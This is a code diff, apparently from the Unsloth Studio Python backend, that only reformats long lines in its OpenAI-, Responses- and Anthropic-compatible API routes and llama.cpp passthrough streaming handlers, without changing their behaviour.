sentence-transformers @@ -10485,14 +10869,18 @@ async def openai_embeddings(request: Request, current_subject: str = Depends(get if not llama_backend.is_loaded: raise HTTPException( status_code = 503, - detail = _no_model_loaded_detail("No GGUF model loaded. Load a GGUF model first."), + detail = _no_model_loaded_detail( + "No GGUF model loaded. Load a GGUF model first." + ), ) if not isinstance(body, dict): # Re-read to re-raise a malformed-body error (post-503, pre-feature behavior); # a valid non-dict body such as a list is a clean 400 rather than a 500. body = await request.json() if not isinstance(body, dict): - raise HTTPException(status_code = 400, detail = "Request body must be a JSON object") + raise HTTPException( + status_code = 400, detail = "Request body must be a JSON object" + ) target_url = f"{llama_backend.base_url}/v1/embeddings" prompt_text = _flatten_monitor_prompt(body.get("input", "")) @@ -10501,7 +10889,9 @@ async def openai_embeddings(request: Request, current_subject: str = Depends(get monitor_id = api_monitor.start( endpoint = request.url.path, method = request.method, - model = str(body.get("model") or _llama_public_model_id(llama_backend) or "default"), + model = str( + body.get("model") or _llama_public_model_id(llama_backend) or "default" + ), prompt = prompt_text, context_length = llama_backend.context_length, subject = current_subject, @@ -10523,7 +10913,9 @@ async def openai_embeddings(request: Request, current_subject: str = Depends(get api_monitor.fail(monitor_id, resp.text[:500]) else: try: - _monitor_usage(monitor_id, resp.json().get("usage"), _monitor_context_length()) + _monitor_usage( + monitor_id, resp.json().get("usage"), _monitor_context_length() + ) except Exception: pass api_monitor.finish(monitor_id) @@ -10539,7 +10931,9 @@ async def openai_embeddings(request: Request, current_subject: str = Depends(get # ===================================================================== -def _translate_responses_tools_to_chat(tools: Optional[list[dict]]) -> Optional[list[dict]]: +def _translate_responses_tools_to_chat( + tools: Optional[list[dict]], +) -> Optional[list[dict]]: """Translate Responses-shape function tools to the Chat Completions nested shape. Responses uses a flat shape per tool entry:: @@ -10688,7 +11082,15 @@ def _responses_tool_output_content(output: Union[str, list]) -> Union[str, list] _RESPONSES_THINK_OPEN = "" _RESPONSES_THINK_CLOSE = "" -_RESPONSES_REASONING_EFFORTS = {"none", "minimal", "low", "medium", "high", "max", "xhigh"} +_RESPONSES_REASONING_EFFORTS = { + "none", + "minimal", + "low", + "medium", + "high", + "max", + "xhigh", +} def _coerce_responses_reasoning_text(value: Any) -> str: @@ -10756,7 +11158,9 @@ class _ResponsesReasoningExtractor: reasoning_parts.append( self._buffer[:close_idx].replace(_RESPONSES_THINK_OPEN, "") ) - self._buffer = self._buffer[close_idx + len(_RESPONSES_THINK_CLOSE) :] + self._buffer = self._buffer[ + close_idx + len(_RESPONSES_THINK_CLOSE) : + ] self._in_reasoning = False continue # Hold back a trailing partial of either marker: the close (clean split across chunks) @@ -10835,10 +11239,15 @@ def _responses_should_parse_think_markers( return False if chat_req.enable_thinking is True: return True - return chat_req.enable_thinking is None and chat_req.reasoning_effort not in (None, "none") + return chat_req.enable_thinking is None and chat_req.reasoning_effort not in ( + None, + "none", + ) -def _responses_reasoning_output_item(reasoning_text: str, item_id: Optional[str] = None) -> dict: +def _responses_reasoning_output_item( + reasoning_text: str, item_id: Optional[str] = None +) -> dict: kwargs: dict[str, Any] = { "status": "completed", "summary": [], @@ -11118,12 +11527,16 @@ async def _responses_non_streaming( if choices: msg = choices[0].get("message", {}) or {} raw_content = msg.get("content", "") or "" - raw_text = raw_content if isinstance(raw_content, str) else json.dumps(raw_content) + raw_text = ( + raw_content if isinstance(raw_content, str) else json.dumps(raw_content) + ) llama_backend = get_llama_cpp_backend() reasoning_text, text = _extract_responses_reasoning( raw_text, msg.get("reasoning_content"), - parse_think_markers = _responses_should_parse_think_markers(chat_req, llama_backend), + parse_think_markers = _responses_should_parse_think_markers( + chat_req, llama_backend + ), ) tool_calls = msg.get("tool_calls") or [] @@ -11234,7 +11647,8 @@ async def _responses_stream( # Direct pass-through bypasses the openai_chat_completions image gate. if not llama_backend.is_vision and any( - isinstance(m.content, list) and any(isinstance(p, ImageContentPart) for p in m.content) + isinstance(m.content, list) + and any(isinstance(p, ImageContentPart) for p in m.content) for m in messages ): raise HTTPException( @@ -11302,15 +11716,23 @@ async def _responses_stream( # helper, not the raw identifier: after an auto-switch to a cached HF GGUF # the identifier is the snapshot path while the repo id lives in # _openai_advertised_id, so the raw form would stream a snapshot basename. - _clean_model = _llama_public_model_id(llama_backend, payload.model) or payload.model + _clean_model = ( + _llama_public_model_id(llama_backend, payload.model) or payload.model + ) full_text = "" full_reasoning = "" input_tokens = 0 output_tokens = 0 extractor = _ResponsesReasoningExtractor( - parse_think_markers = _responses_should_parse_think_markers(chat_req, llama_backend) + parse_think_markers = _responses_should_parse_think_markers( + chat_req, llama_backend + ) ) - reasoning_state: dict[str, Any] = {"output_index": None, "item_id": None, "opened": False} + reasoning_state: dict[str, Any] = { + "output_index": None, + "item_id": None, + "opened": False, + } message_state: dict[str, Any] = { "output_index": None, "item_id": None, @@ -11333,7 +11755,11 @@ async def _responses_stream( body.get("tools"), body.get("tool_choice"), ) - healer = StreamToolCallHealer(_allowed_tools, body.get("tools")) if _allowed_tools else None + healer = ( + StreamToolCallHealer(_allowed_tools, body.get("tools")) + if _allowed_tools + else None + ) healed_tc_index = 0 def _healed_tc(call: dict): @@ -11409,7 +11835,9 @@ async def _responses_stream( "output_index": st["output_index"], "delta": arg_delta, } - events.append(_sse("response.function_call_arguments.delta", args_delta_event)) + events.append( + _sse("response.function_call_arguments.delta", args_delta_event) + ) elif arg_delta: # Buffer args until we can open the item (some models # send id/name in the same chunk as the first arg delta; @@ -11529,7 +11957,11 @@ async def _responses_stream( "item_id": message_state["item_id"], "output_index": message_state["output_index"], "content_index": 0, - "part": {"type": "output_text", "text": text, "annotations": []}, + "part": { + "type": "output_text", + "text": text, + "annotations": [], + }, }, ), _sse( @@ -11542,7 +11974,9 @@ async def _responses_stream( "id": message_state["item_id"], "status": "completed", "role": "assistant", - "content": [{"type": "output_text", "text": text, "annotations": []}], + "content": [ + {"type": "output_text", "text": text, "annotations": []} + ], }, }, ), @@ -11605,7 +12039,9 @@ async def _responses_stream( "id": reasoning_state["item_id"], "status": "completed", "summary": [], - "content": [{"type": "reasoning_text", "text": full_reasoning}], + "content": [ + {"type": "reasoning_text", "text": full_reasoning} + ], }, ) ) @@ -11707,7 +12143,9 @@ async def _responses_stream( ) first_token_deadline = time.monotonic() + _DEFAULT_FIRST_TOKEN_TIMEOUT_S try: - resp = await _send_stream_with_preheader_cancel(client, req, request = request) + resp = await _send_stream_with_preheader_cancel( + client, req, request = request + ) if resp is None: api_monitor.finish(monitor_id, "cancelled") return @@ -11869,7 +12307,9 @@ async def _responses_stream( if not disconnect_event.is_set(): logger.error("responses stream error: %s", e) api_monitor.fail(monitor_id, _friendly_error(e)) - status_code = 400 if _classify_llama_generation_error(e) is not None else 500 + status_code = ( + 400 if _classify_llama_generation_error(e) is not None else 500 + ) yield _sse( "response.failed", _failed_response_payload(e, status_code), @@ -11881,7 +12321,9 @@ async def _responses_stream( return logger.error("responses stream error: %s", e) api_monitor.fail(monitor_id, _friendly_error(e)) - status_code = 400 if _classify_llama_generation_error(e) is not None else 500 + status_code = ( + 400 if _classify_llama_generation_error(e) is not None else 500 + ) yield _sse( "response.failed", _failed_response_payload(e, status_code), @@ -11918,7 +12360,9 @@ async def _responses_stream( # never closed) before the trailing visible text is flushed; events # keep healer order so trailing text stays behind a healed call. if healer is not None: - events = (healer.feed(final_visible) if final_visible else []) + healer.finalize() + events = ( + healer.feed(final_visible) if final_visible else [] + ) + healer.finalize() final_visible = "" for event in _healed_event_sse(events): yield event @@ -11941,10 +12385,16 @@ async def _responses_stream( close_items: list[tuple[int, str, dict[str, Any]]] = [] if reasoning_state["opened"]: - close_items.append((reasoning_state["output_index"], "reasoning", reasoning_state)) + close_items.append( + (reasoning_state["output_index"], "reasoning", reasoning_state) + ) if message_state["opened"]: - close_items.append((message_state["output_index"], "message", message_state)) - close_items.extend((st["output_index"], "tool", st) for st in tool_call_state.values()) + close_items.append( + (message_state["output_index"], "message", message_state) + ) + close_items.extend( + (st["output_index"], "tool", st) for st in tool_call_state.values() + ) for _, kind, st in sorted(close_items, key = lambda item: item[0]): if kind == "reasoning": @@ -11978,7 +12428,9 @@ async def _responses_stream( "id": st["item_id"], "status": "completed", "summary": [], - "content": [{"type": "reasoning_text", "text": full_reasoning}], + "content": [ + {"type": "reasoning_text", "text": full_reasoning} + ], }, }, ) @@ -12006,7 +12458,11 @@ async def _responses_stream( "item_id": st["item_id"], "output_index": st["output_index"], "content_index": 0, - "part": {"type": "output_text", "text": _msg_text, "annotations": []}, + "part": { + "type": "output_text", + "text": _msg_text, + "annotations": [], + }, }, ) yield _sse( @@ -12020,7 +12476,11 @@ async def _responses_stream( "status": "completed", "role": "assistant", "content": [ - {"type": "output_text", "text": _msg_text, "annotations": []} + { + "type": "output_text", + "text": _msg_text, + "annotations": [], + } ], }, }, @@ -12078,7 +12538,9 @@ async def _responses_stream( "arguments": st["arguments"], }, } - api_monitor.append_reply(monitor_id, _monitor_call_text(st["name"], st["arguments"])) + api_monitor.append_reply( + monitor_id, _monitor_call_text(st["name"], st["arguments"]) + ) yield _sse("response.output_item.done", item_done) # response.completed @@ -12230,7 +12692,9 @@ async def openai_responses( # before the switch (mirror chat) or an invalid request evicts the resident # model only for the chat handler to 400 it as having no non-system message. if not any(m.role not in ("system", "developer") for m in messages): - raise HTTPException(status_code = 400, detail = "At least one non-system message is required.") + raise HTTPException( + status_code = 400, detail = "At least one non-system message is required." + ) # Reject a malformed function tool before any model load, mirroring the # /v1/chat/completions check, so an invalid request never switches the model. # Built-in tools (web_search, mcp, ...) carry no name and are dropped later. @@ -12342,7 +12806,9 @@ def _anthropic_requested_studio_tools(tools: Optional[list]) -> set[str]: def _select_anthropic_server_tools( - all_tools: list[dict], requested_studio_tools: set[str], enabled_tools: Optional[list[str]] + all_tools: list[dict], + requested_studio_tools: set[str], + enabled_tools: Optional[list[str]], ) -> list[dict]: """Select Unsloth tools requested through Anthropic tools and extensions.""" if not requested_studio_tools and enabled_tools is None: @@ -12369,7 +12835,9 @@ def _image_bytes_to_png_b64(raw: bytes) -> str: return base64.b64encode(buf.getvalue()).decode("ascii") -def _normalize_anthropic_openai_images(openai_messages: list[dict], is_vision: bool) -> bool: +def _normalize_anthropic_openai_images( + openai_messages: list[dict], is_vision: bool +) -> bool: """Enforce the vision guard on translated Anthropic messages and normalize any base64-data-URL ``image_url`` parts to PNG. @@ -12471,7 +12939,9 @@ async def anthropic_count_tokens( if not llama_backend.is_loaded: raise HTTPException( status_code = 503, - detail = _no_model_loaded_detail("No GGUF model loaded. Load a GGUF model first."), + detail = _no_model_loaded_detail( + "No GGUF model loaded. Load a GGUF model first." + ), ) # Same Anthropic → OpenAI translation as anthropic_messages: system is @@ -12487,7 +12957,9 @@ async def anthropic_count_tokens( # turn, so a strict GGUF chat template does not 400 on non-alternating roles # (mirrors the GGUF chat path); a no-op for already-alternating histories. openai_messages = _coalesce_consecutive_user_turns( - _strip_provider_synthetic_tool_history(_drop_empty_assistant_sentinels(openai_messages)) + _strip_provider_synthetic_tool_history( + _drop_empty_assistant_sentinels(openai_messages) + ) ) openai_tools = anthropic_tools_to_openai(payload.tools or []) or None @@ -12517,7 +12989,11 @@ def _set_or_prepend_system_message( # Drop existing system/developer turns so the backend never sees duplicate # or conflicting system instructions, then prepend the resolved prompt. - others = [dict(msg) for msg in safe_messages if msg.get("role") not in ("system", "developer")] + others = [ + dict(msg) + for msg in safe_messages + if msg.get("role") not in ("system", "developer") + ] return [{"role": "system", "content": system_prompt}, *others] @@ -12544,7 +13020,9 @@ async def anthropic_messages( if not llama_backend.is_loaded and not _automatic_model_load_may_run(): raise HTTPException( status_code = 503, - detail = _no_model_loaded_detail("No GGUF model loaded. Load a GGUF model first."), + detail = _no_model_loaded_detail( + "No GGUF model loaded. Load a GGUF model first." + ), ) # max_tokens is a required field on the Anthropic Messages API; real Anthropic @@ -12642,7 +13120,9 @@ async def anthropic_messages( if not llama_backend.is_loaded: raise HTTPException( status_code = 503, - detail = _no_model_loaded_detail("No GGUF model loaded. Load a GGUF model first."), + detail = _no_model_loaded_detail( + "No GGUF model loaded. Load a GGUF model first." + ), ) # Advertised repo id after an auto-switch load, else a clean public id, never @@ -12666,12 +13146,16 @@ async def anthropic_messages( # turn, so a strict GGUF chat template does not 400 on non-alternating roles # (mirrors the GGUF chat path); a no-op for already-alternating histories. openai_messages = _coalesce_consecutive_user_turns( - _strip_provider_synthetic_tool_history(_drop_empty_assistant_sentinels(openai_messages)) + _strip_provider_synthetic_tool_history( + _drop_empty_assistant_sentinels(openai_messages) + ) ) # Enforce vision guard + re-encode embedded images to PNG so the Anthropic # endpoint matches /v1/chat/completions. - _has_image = _normalize_anthropic_openai_images(openai_messages, llama_backend.is_vision) + _has_image = _normalize_anthropic_openai_images( + openai_messages, llama_backend.is_vision + ) temperature = payload.temperature if payload.temperature is not None else 0.6 top_p = payload.top_p if payload.top_p is not None else 0.95 @@ -12680,7 +13164,9 @@ async def anthropic_messages( repetition_penalty = ( payload.repetition_penalty if payload.repetition_penalty is not None else 1.0 ) - presence_penalty = payload.presence_penalty if payload.presence_penalty is not None else 0.0 + presence_penalty = ( + payload.presence_penalty if payload.presence_penalty is not None else 0.0 + ) stop = payload.stop_sequences or None # Translate Anthropic tool_choice to OpenAI format for llama-server. Falls @@ -12717,7 +13203,9 @@ async def anthropic_messages( client_tools = ( not server_tools and len(openai_client_tools) > 0 - and getattr(llama_backend, "supports_tool_passthrough", llama_backend.supports_tools) + and getattr( + llama_backend, "supports_tool_passthrough", llama_backend.supports_tools + ) ) # Anthropic tool_choice.disable_parallel_tool_use caps the response to a @@ -13010,7 +13498,9 @@ async def _anthropic_tool_stream( return # Stall keepalive (see GGUF tool stream): silent backend segments # must not leave the SSE stream idle past proxy timeouts. - _next_task = asyncio.create_task(asyncio.to_thread(next, gen, _sentinel)) + _next_task = asyncio.create_task( + asyncio.to_thread(next, gen, _sentinel) + ) while True: _done_tasks, _ = await asyncio.wait( {_next_task}, @@ -13037,7 +13527,10 @@ async def _anthropic_tool_stream( # They keep the stall keepalive from firing, so a chatty tool would go # silent past the ~100s proxy cap; emit a rate-limited keepalive instead. _now = time.monotonic() - if _now - _last_drop_keepalive >= _LOCAL_TOOL_STREAM_STALL_KEEPALIVE_S: + if ( + _now - _last_drop_keepalive + >= _LOCAL_TOOL_STREAM_STALL_KEEPALIVE_S + ): _last_drop_keepalive = _now yield _OPENAI_PASSTHROUGH_SSE_KEEPALIVE continue @@ -13128,7 +13621,9 @@ async def _anthropic_plain_stream( # makes blocking HTTP calls to llama-server, so run it off the event loop. input_tokens = 0 if llama_backend is not None and openai_messages is not None: - input_tokens = await asyncio.to_thread(llama_backend.count_chat_tokens, openai_messages) + input_tokens = await asyncio.to_thread( + llama_backend.count_chat_tokens, openai_messages + ) async def _stream(): emitter = AnthropicStreamEmitter() @@ -13151,7 +13646,9 @@ async def _anthropic_plain_stream( return # Stall keepalive (see Anthropic tool stream) each window while # next(gen) runs in a worker. - _next_task = asyncio.create_task(asyncio.to_thread(next, gen, _sentinel)) + _next_task = asyncio.create_task( + asyncio.to_thread(next, gen, _sentinel) + ) while True: _done_tasks, _ = await asyncio.wait( {_next_task}, @@ -13197,7 +13694,9 @@ async def _anthropic_plain_stream( except (RuntimeError, ValueError): pass - stop_reason = openai_finish_to_anthropic_stop(captured_finish_reason, had_tool_calls = False) + stop_reason = openai_finish_to_anthropic_stop( + captured_finish_reason, had_tool_calls = False + ) for line in emitter.finish(stop_reason = stop_reason, stop_sequence = None): yield line @@ -13287,20 +13786,26 @@ async def _anthropic_tool_non_streaming( if etype == "content": # Strip leaked tool XML (protected helper keeps think rehearsal and trailing prose). clean = _strip_tool_xml_for_display( - event["text"], auto_heal_tool_calls = True, enabled_tool_names = _display_names + event["text"], + auto_heal_tool_calls = True, + enabled_tool_names = _display_names, ) new = clean[len(prev_text) :] prev_text = clean if new: ends_on_tool_use = False - if content_blocks and isinstance(content_blocks[-1], AnthropicResponseTextBlock): + if content_blocks and isinstance( + content_blocks[-1], AnthropicResponseTextBlock + ): content_blocks[-1].text += new else: content_blocks.append(AnthropicResponseTextBlock(text = new)) elif etype == "tool_start": tool_call_id = event["tool_call_id"] arguments = event.get("arguments", {}) - existing_tool_block = tool_blocks_by_id.get(tool_call_id) if tool_call_id else None + existing_tool_block = ( + tool_blocks_by_id.get(tool_call_id) if tool_call_id else None + ) if existing_tool_block is not None: if arguments or not existing_tool_block.input: existing_tool_block.input = arguments @@ -13379,7 +13884,9 @@ async def _anthropic_plain_non_streaming(run_gen, message_id, model_name): if full_text: content_blocks.append(AnthropicResponseTextBlock(text = full_text)) - stop_reason = openai_finish_to_anthropic_stop(captured_finish_reason, had_tool_calls = False) + stop_reason = openai_finish_to_anthropic_stop( + captured_finish_reason, had_tool_calls = False + ) return _anthropic_message_json_response( message_id, model_name, content_blocks, stop_reason, usage @@ -13426,7 +13933,9 @@ def _build_passthrough_payload( if stream and stream_options is not None: body["stream_options"] = stream_options body["max_tokens"] = ( - max_tokens if max_tokens is not None else (backend_ctx or _DEFAULT_MAX_TOKENS_FLOOR) + max_tokens + if max_tokens is not None + else (backend_ctx or _DEFAULT_MAX_TOKENS_FLOOR) ) # Normalize stop the same way the non-passthrough path does (the passthrough # was previously the one path that forwarded an empty stop string verbatim). @@ -13590,7 +14099,9 @@ async def _anthropic_passthrough_stream( # Watchers unblock aiter_lines() during prefill, before in-loop # cancel/disconnect checks can run. - cancel_watcher = asyncio.create_task(_await_cancel_then_close(cancel_event, resp)) + cancel_watcher = asyncio.create_task( + _await_cancel_then_close(cancel_event, resp) + ) disconnect_watcher = asyncio.create_task( _await_disconnect_then_close(request, resp, cancel_event) ) @@ -13708,7 +14219,10 @@ async def _anthropic_passthrough_non_streaming( ): retry_body = { **body, - "messages": [*body.get("messages", []), *nudge_messages(data, _allowed_tools)], + "messages": [ + *body.get("messages", []), + *nudge_messages(data, _allowed_tools), + ], } try: retry_resp = await nonstreaming_client().post( @@ -13718,7 +14232,9 @@ async def _anthropic_passthrough_non_streaming( ) if retry_resp.status_code == 200: retry_data = retry_resp.json() - if response_has_promotable_calls(retry_data, _allowed_tools, openai_tools): + if response_has_promotable_calls( + retry_data, _allowed_tools, openai_tools + ): data = retry_data except (httpx.RequestError, ValueError) as exc: logger.warning("tool-call nudge retry failed; keeping original: %s", exc) @@ -13795,7 +14311,9 @@ async def _anthropic_passthrough_non_streaming( ) ) - stop_reason = openai_finish_to_anthropic_stop(finish_reason, had_tool_calls = bool(tool_calls)) + stop_reason = openai_finish_to_anthropic_stop( + finish_reason, had_tool_calls = bool(tool_calls) + ) usage = data.get("usage") or {} return _anthropic_message_json_response( @@ -13923,7 +14441,9 @@ def _strip_provider_synthetic_tool_history(messages: list[dict]) -> list[dict]: if args_obj.get("_server_tool") is True: is_synthetic = True google = args_obj.get("google") - if isinstance(google, dict) and isinstance(google.get("native_part"), dict): + if isinstance(google, dict) and isinstance( + google.get("native_part"), dict + ): is_synthetic = True if is_synthetic: tc_id = tc.get("id") @@ -13998,7 +14518,9 @@ def _openai_messages_for_passthrough(payload) -> list[dict]: content part so vision + function-calling requests work transparently. """ messages = _strip_provider_synthetic_tool_history( - _drop_empty_assistant_sentinels([m.model_dump(exclude_none = True) for m in payload.messages]) + _drop_empty_assistant_sentinels( + [m.model_dump(exclude_none = True) for m in payload.messages] + ) ) if not payload.image_base64: @@ -14315,7 +14837,9 @@ async def _openai_passthrough_stream( level = "warning", ) api_monitor.fail(monitor_id, str(exc)) - yield _openai_stream_error_sse(_openai_admission_error_body(exc, status_code = 503)) + yield _openai_stream_error_sse( + _openai_admission_error_body(exc, status_code = 503) + ) except LlamaAdmissionCancelled: _openai_admission_log( "cancelled-before-upstream", @@ -14398,7 +14922,9 @@ async def _openai_passthrough_stream_admitted( resp = None send_task: Optional[asyncio.Task[Optional[httpx.Response]]] = None - async def _aclose_send_task(task: Optional[asyncio.Task[Optional[httpx.Response]]]) -> None: + async def _aclose_send_task( + task: Optional[asyncio.Task[Optional[httpx.Response]]], + ) -> None: if task is None: return if not task.done(): @@ -14416,7 +14942,9 @@ async def _openai_passthrough_stream_admitted( # Keep tracker cleanup paired if pre-header dispatch is cancelled. try: body = _build_openai_passthrough_body( - payload, backend_ctx = llama_backend.context_length, llama_backend = llama_backend + payload, + backend_ctx = llama_backend.context_length, + llama_backend = llama_backend, ) # Text-form tool calls from small models get promoted to structured calls on # the way back (declared client tools only); requests without tools or with @@ -14434,12 +14962,16 @@ async def _openai_passthrough_stream_admitted( trust_env = False, ) _truncate_budget = ( - _OVERFLOW_TRUNCATE_MAX_RETRIES if _overflow_truncation_requested(payload) else 0 + _OVERFLOW_TRUNCATE_MAX_RETRIES + if _overflow_truncation_requested(payload) + else 0 ) while True: try: - req = client.build_request("POST", target_url, json = body, headers = upstream_headers) + req = client.build_request( + "POST", target_url, json = body, headers = upstream_headers + ) first_token_deadline = time.monotonic() + _DEFAULT_FIRST_TOKEN_TIMEOUT_S send_task = asyncio.create_task( _send_stream_with_preheader_cancel( @@ -14550,13 +15082,17 @@ async def _openai_passthrough_stream_admitted( last_chunk_model = model_name last_chunk_created = int(time.time()) healer = ( - StreamToolCallHealer(_allowed_tools, body.get("tools")) if _allowed_tools else None + StreamToolCallHealer(_allowed_tools, body.get("tools")) + if _allowed_tools + else None ) healed_call_index = 0 def _synthetic_finish_line() -> str: healed = healer is not None and healer.healed - finish_reason = "tool_calls" if (saw_tool_call_delta or healed) else "stop" + finish_reason = ( + "tool_calls" if (saw_tool_call_delta or healed) else "stop" + ) chunk = ChatCompletionChunk( id = last_chunk_id, created = last_chunk_created, @@ -14583,7 +15119,10 @@ async def _openai_passthrough_stream_admitted( else: # parallel_tool_calls=false caps healed calls too (the SSE # line cap only sees structured upstream deltas). - if payload.parallel_tool_calls is False and healed_call_index >= 1: + if ( + payload.parallel_tool_calls is False + and healed_call_index >= 1 + ): continue delta = { "tool_calls": [ @@ -14601,7 +15140,9 @@ async def _openai_passthrough_stream_admitted( "object": "chat.completion.chunk", "created": last_chunk_created, "model": last_chunk_model, - "choices": [{"index": 0, "delta": delta, "finish_reason": None}], + "choices": [ + {"index": 0, "delta": delta, "finish_reason": None} + ], } lines.append("data: " + json.dumps(chunk, ensure_ascii = False)) return lines @@ -14616,7 +15157,11 @@ async def _openai_passthrough_stream_admitted( def _heal_transform(chunk_data: dict, raw_line: str) -> list: """SSE lines to emit in place of one upstream line (healing on).""" choices = chunk_data.get("choices") - if not (isinstance(choices, list) and choices and isinstance(choices[0], dict)): + if not ( + isinstance(choices, list) + and choices + and isinstance(choices[0], dict) + ): return [raw_line] choice = choices[0] delta = choice.get("delta") @@ -14631,17 +15176,28 @@ async def _openai_passthrough_stream_admitted( # slot; the upstream SSE cap keeps native index 0, so # drop the native call here or the client gets two. del delta["tool_calls"] - if delta or choice.get("finish_reason") or chunk_data.get("usage"): - lines.append("data: " + json.dumps(chunk_data, ensure_ascii = False)) + if ( + delta + or choice.get("finish_reason") + or chunk_data.get("usage") + ): + lines.append( + "data: " + + json.dumps(chunk_data, ensure_ascii = False) + ) return lines # A healed call already went out on index 0..n-1; OpenAI # clients merge tool-call deltas by index, so shift the # native calls into the next indexes or they would merge # into the healed call. for tc in delta["tool_calls"]: - if isinstance(tc, dict) and isinstance(tc.get("index"), int): + if isinstance(tc, dict) and isinstance( + tc.get("index"), int + ): tc["index"] += healed_call_index - return lines + ["data: " + json.dumps(chunk_data, ensure_ascii = False)] + return lines + [ + "data: " + json.dumps(chunk_data, ensure_ascii = False) + ] return lines + [raw_line] content = delta.get("content") finish = choice.get("finish_reason") @@ -14653,7 +15209,9 @@ async def _openai_passthrough_stream_admitted( lines = _healer_sse_lines(healer.finalize()) if healer.healed and finish == "stop": choice["finish_reason"] = "tool_calls" - return lines + ["data: " + json.dumps(chunk_data, ensure_ascii = False)] + return lines + [ + "data: " + json.dumps(chunk_data, ensure_ascii = False) + ] return lines + [raw_line] events = healer.feed(content) if finish: @@ -14670,7 +15228,9 @@ async def _openai_passthrough_stream_admitted( prefix_choice["delta"] = dict(delta) prefix_choice["finish_reason"] = None prefix_chunk["choices"] = [prefix_choice] - prefix_lines.append("data: " + json.dumps(prefix_chunk, ensure_ascii = False)) + prefix_lines.append( + "data: " + json.dumps(prefix_chunk, ensure_ascii = False) + ) delta.clear() lines = prefix_lines + _healer_sse_lines(events) if delta or finish or chunk_data.get("usage"): @@ -14716,10 +15276,13 @@ async def _openai_passthrough_stream_admitted( resp = send_task.result() except httpx.RequestError as e: logger.error( - "openai passthrough stream: upstream unreachable: %s", e + "openai passthrough stream: upstream unreachable: %s", + e, ) api_monitor.fail(monitor_id, _friendly_error(e)) - yield _openai_stream_error_sse(_openai_stream_error_chunk(e)) + yield _openai_stream_error_sse( + _openai_stream_error_chunk(e) + ) return send_task = None @@ -14751,7 +15314,9 @@ async def _openai_passthrough_stream_admitted( req = client.build_request( "POST", target_url, json = body, headers = upstream_headers ) - first_token_deadline = time.monotonic() + _DEFAULT_FIRST_TOKEN_TIMEOUT_S + first_token_deadline = ( + time.monotonic() + _DEFAULT_FIRST_TOKEN_TIMEOUT_S + ) send_task = asyncio.create_task( _send_stream_with_preheader_cancel( client, @@ -14763,7 +15328,9 @@ async def _openai_passthrough_stream_admitted( ) continue - upstream_error = _openai_passthrough_error(upstream_status, err_text) + upstream_error = _openai_passthrough_error( + upstream_status, err_text + ) error_payload = ( upstream_error.detail if isinstance(upstream_error.detail, dict) @@ -14776,7 +15343,9 @@ async def _openai_passthrough_stream_admitted( yield _openai_stream_error_sse(error_payload) return - cancel_watcher = asyncio.create_task(_await_cancel_then_close(cancel_event, resp)) + cancel_watcher = asyncio.create_task( + _await_cancel_then_close(cancel_event, resp) + ) disconnect_watcher = asyncio.create_task( _await_disconnect_then_close(request, resp, cancel_event) ) @@ -14876,7 +15445,8 @@ async def _openai_passthrough_stream_admitted( isinstance(chunk_data, dict) and chunk_data.get("usage") and not ( - isinstance(chunk_data.get("choices"), list) and chunk_data["choices"] + isinstance(chunk_data.get("choices"), list) + and chunk_data["choices"] ) and not saw_finish_reason and not saw_stream_error @@ -14916,7 +15486,8 @@ async def _openai_passthrough_stream_admitted( else _openai_passthrough_sse_line_terminal_state(out_line) ) if terminal_state == "usage" or ( - terminal_state == "finish" and not _wants_stream_usage(payload) + terminal_state == "finish" + and not _wants_stream_usage(payload) ): done_line = _SSE_DONE_LINE _monitor_openai_sse_line( @@ -15065,7 +15636,9 @@ async def _openai_passthrough_stream_admitted( cancel_event.set() api_monitor.finish(monitor_id, "cancelled") else: - detail = exc.detail if isinstance(exc, HTTPException) else _friendly_error(exc) + detail = ( + exc.detail if isinstance(exc, HTTPException) else _friendly_error(exc) + ) api_monitor.fail(monitor_id, str(detail)) try: await _aclose_send_task(send_task) @@ -15262,7 +15835,9 @@ async def _openai_passthrough_non_streaming_upstream( # llama-server subprocess crashed / starting / unreachable. Surface the # same friendly message the sync chat path emits so operators don't see # a bare 500 with no diagnostic. - logger.error("openai passthrough non-streaming: upstream unreachable: %s", e) + logger.error( + "openai passthrough non-streaming: upstream unreachable: %s", e + ) api_monitor.fail(monitor_id, _friendly_error(e)) get_llama_cpp_backend()._maybe_recover_from_mtp_crash(e) raise HTTPException( @@ -15319,13 +15894,18 @@ async def _openai_passthrough_non_streaming_upstream( ): retry_body = { **body, - "messages": [*body.get("messages", []), *nudge_messages(data, _allowed_tools)], + "messages": [ + *body.get("messages", []), + *nudge_messages(data, _allowed_tools), + ], } try: retry_resp = await _post(retry_body) if retry_resp.status_code == 200: retry_data = retry_resp.json() - if response_has_promotable_calls(retry_data, _allowed_tools, body.get("tools")): + if response_has_promotable_calls( + retry_data, _allowed_tools, body.get("tools") + ): resp, data = retry_resp, retry_data except asyncio.CancelledError: api_monitor.finish(monitor_id, "cancelled") @@ -15347,7 +15927,9 @@ async def _openai_passthrough_non_streaming_upstream( # Anthropic paths): a call cut off at max_tokens keeps # finish_reason="length" so the client knows the arguments may be # incomplete, while the healed call itself stays attached. - if _allowed_tools and heal_openai_message(msg, _allowed_tools, body.get("tools")): + if _allowed_tools and heal_openai_message( + msg, _allowed_tools, body.get("tools") + ): if choice.get("finish_reason") == "stop": choice["finish_reason"] = "tool_calls" changed = True diff --git a/studio/backend/routes/llama.py b/studio/backend/routes/llama.py index 540647e3bc..4904fae720 100644 --- a/studio/backend/routes/llama.py +++ b/studio/backend/routes/llama.py @@ -35,7 +35,9 @@ class LlamaUpdateJob(BaseModel): to_tag: Optional[str] = None reload_required: Optional[bool] = None error: Optional[str] = None - progress: Optional[float] = Field(None, description = "0..1 while running, 1 on success.") + progress: Optional[float] = Field( + None, description = "0..1 while running, 1 on success." + ) started_at: Optional[str] = None finished_at: Optional[str] = None @@ -46,10 +48,12 @@ class LlamaUpdateStatusResponse(BaseModel): description = "True when the install came from an Unsloth prebuilt (has a marker).", ) update_available: bool = Field( - False, description = "True when the latest release is genuinely newer than the install." + False, + description = "True when the latest release is genuinely newer than the install.", ) stale: bool = Field( - False, description = "Update available AND install older than the staleness threshold." + False, + description = "Update available AND install older than the staleness threshold.", ) installed_tag: Optional[str] = None latest_tag: Optional[str] = None @@ -57,7 +61,8 @@ class LlamaUpdateStatusResponse(BaseModel): installed_at_utc: Optional[str] = None age_days: Optional[int] = None source_build: bool = Field( - False, description = "True when there is no marker (source build) but a prebuilt is offered." + False, + description = "True when there is no marker (source build) but a prebuilt is offered.", ) update_size_bytes: Optional[int] = Field( None, description = "Download size of the prebuilt Update would fetch, in bytes." diff --git a/studio/backend/routes/mcp_servers.py b/studio/backend/routes/mcp_servers.py index dc018d163a..01f7f3130f 100644 --- 